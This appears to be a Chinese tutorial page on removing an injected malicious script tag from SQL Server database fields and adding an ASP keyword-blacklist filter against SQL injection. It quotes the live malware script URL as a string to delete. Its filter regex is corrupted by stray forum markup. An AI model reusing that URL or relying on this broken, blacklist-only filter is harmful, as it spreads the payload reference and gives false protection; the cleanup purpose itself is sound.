批量替換sqlserver數(shù)據(jù)庫(kù)掛馬字段并防范sql注入攻擊的代碼
首先備份數(shù)據(jù)庫(kù),以防不必要的損失。而后對(duì)所有被掛馬的小于8000字符的varchar字段執(zhí)行
update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','')
其中<Script Src=http://c.n%75clear3.com/css/c.js></Script>為掛馬字段。執(zhí)行后掛馬字段被清除。但是有部分字段,比如內(nèi)容字段等大于8000字符的varchar字段則需要執(zhí)行
update 表名 set 表項(xiàng)=replace(cast(表項(xiàng) as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','')
來(lái)更新被掛馬字段,而房產(chǎn)網(wǎng)由于內(nèi)容比較多,執(zhí)行以上語(yǔ)句的時(shí)候會(huì)發(fā)生假死現(xiàn)象,于是加個(gè)區(qū)間分兩次進(jìn)行,一次處理15000條得以解決。
update 表名 set 表項(xiàng)=replace(cast(表項(xiàng) as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','') where id>1 and id<15000
以上被掛馬問題一般都是sql數(shù)據(jù)庫(kù),這是sql數(shù)據(jù)庫(kù)特有的注入漏洞。換數(shù)據(jù)庫(kù)不現(xiàn)實(shí),只能針對(duì)以上情況進(jìn)行防范。思路就是在所有數(shù)據(jù)庫(kù)鏈接請(qǐng)求那里做相應(yīng)的過濾。
<%
Response.Buffer = True '緩存頁(yè)面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies)
'正則子函數(shù)
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "<Script Language=javascript>alert('非法注入!你的行為已被記錄?。?);history.back(-1);</Script>"
Response.End
End If
Next
Set regEx = Nothing
End function
%>
做一個(gè)通用的sql防注入頁(yè)面,把它包含在conn.asp數(shù)據(jù)庫(kù)連接語(yǔ)句里邊,這樣就實(shí)現(xiàn)了全站的防范 sql 注入的攻擊了。但是前臺(tái)的類似?id=這樣的語(yǔ)句還是存在注入漏洞,需要我們嚴(yán)格過濾 request.form 和 request.querystring 獲取的內(nèi)容。堅(jiān)決不用 request("name") 這樣的方式獲取值,凡是采用 cookies 保存的內(nèi)容,盡量不要用在sql語(yǔ)句里進(jìn)行查詢數(shù)據(jù)庫(kù)操作。
如果不熟悉sqlserver的朋友可以用軟件來(lái)實(shí)現(xiàn)
sqlserver 數(shù)據(jù)庫(kù)批量替換工具(數(shù)據(jù)庫(kù)及文本文件查找替換) v1.0中文綠色版
SQLServer 數(shù)據(jù)庫(kù)批量查找替換工具1.2 SQL木馬清除助手
相關(guān)文章
SQL Server 2005附加數(shù)據(jù)庫(kù)時(shí)Read-Only錯(cuò)誤的解決方案
本文我們主要介紹了SQL Server 2005附加數(shù)據(jù)庫(kù)時(shí)提示Read-Only錯(cuò)誤的解決方案,需要的朋友可以參考下2015-08-08SQL Server中Table字典數(shù)據(jù)的查詢SQL示例代碼
這篇文章主要給大家介紹了關(guān)于SQL Server中Table字典數(shù)據(jù)的查詢SQL的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2018-10-10Visual?Studio2022連接SQL?Server數(shù)據(jù)庫(kù)的詳細(xì)圖文教程
在visual studio中經(jīng)常會(huì)用到SQL的數(shù)據(jù),關(guān)于數(shù)據(jù)連接總是會(huì)出現(xiàn)一系列的問題,下面這篇文章主要給大家介紹了關(guān)于Visual?Studio2022連接SQL?Server數(shù)據(jù)庫(kù)的詳細(xì)圖文教程,需要的朋友可以參考下2023-06-06數(shù)據(jù)庫(kù)表的查詢操作實(shí)踐演練(實(shí)驗(yàn)三)
這篇文章主要對(duì)數(shù)據(jù)庫(kù)表的查詢操作進(jìn)行實(shí)踐演練,針對(duì)實(shí)驗(yàn)一和實(shí)驗(yàn)二涉及到的內(nèi)容進(jìn)一步深入學(xué)習(xí),進(jìn)一步理解關(guān)系運(yùn)算,鞏固數(shù)據(jù)庫(kù)的基礎(chǔ)知識(shí),感興趣的小伙伴可以參考一下2015-08-08SQL語(yǔ)句實(shí)現(xiàn)查詢SQL Server服務(wù)器名稱和IP地址
這篇文章主要介紹了SQL語(yǔ)句實(shí)現(xiàn)查詢SQL Server服務(wù)器名稱和IP地址,本文分別給出查詢語(yǔ)句,需要的朋友可以參考下2015-07-07掌握SQL?Server實(shí)戰(zhàn)教程之SQL?Server的安裝指南
對(duì)于項(xiàng)目來(lái)說最重要的一環(huán)莫過于數(shù)據(jù)庫(kù)了,一個(gè)良好的數(shù)據(jù)庫(kù)能夠讓項(xiàng)目更加清晰、條理分明,下面這篇文章主要給大家介紹了關(guān)于掌握SQL?Server實(shí)戰(zhàn)教程之SQL?Server的安裝指南,需要的朋友可以參考下2023-04-04SQL Server內(nèi)存遭遇操作系統(tǒng)進(jìn)程壓榨案例分析
最近一臺(tái)DB服務(wù)器偶爾出現(xiàn)CPU報(bào)警,我的郵件報(bào)警閾值設(shè)置的是15%,開始時(shí)沒當(dāng)回事,以為是有什么統(tǒng)計(jì)類的查詢,后來(lái)越來(lái)越頻繁2014-03-03SQL Server 事務(wù),異常和游標(biāo)詳解
這篇文章主要為大家介紹了SQLServer事務(wù),異常和游標(biāo),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來(lái)幫助2022-01-01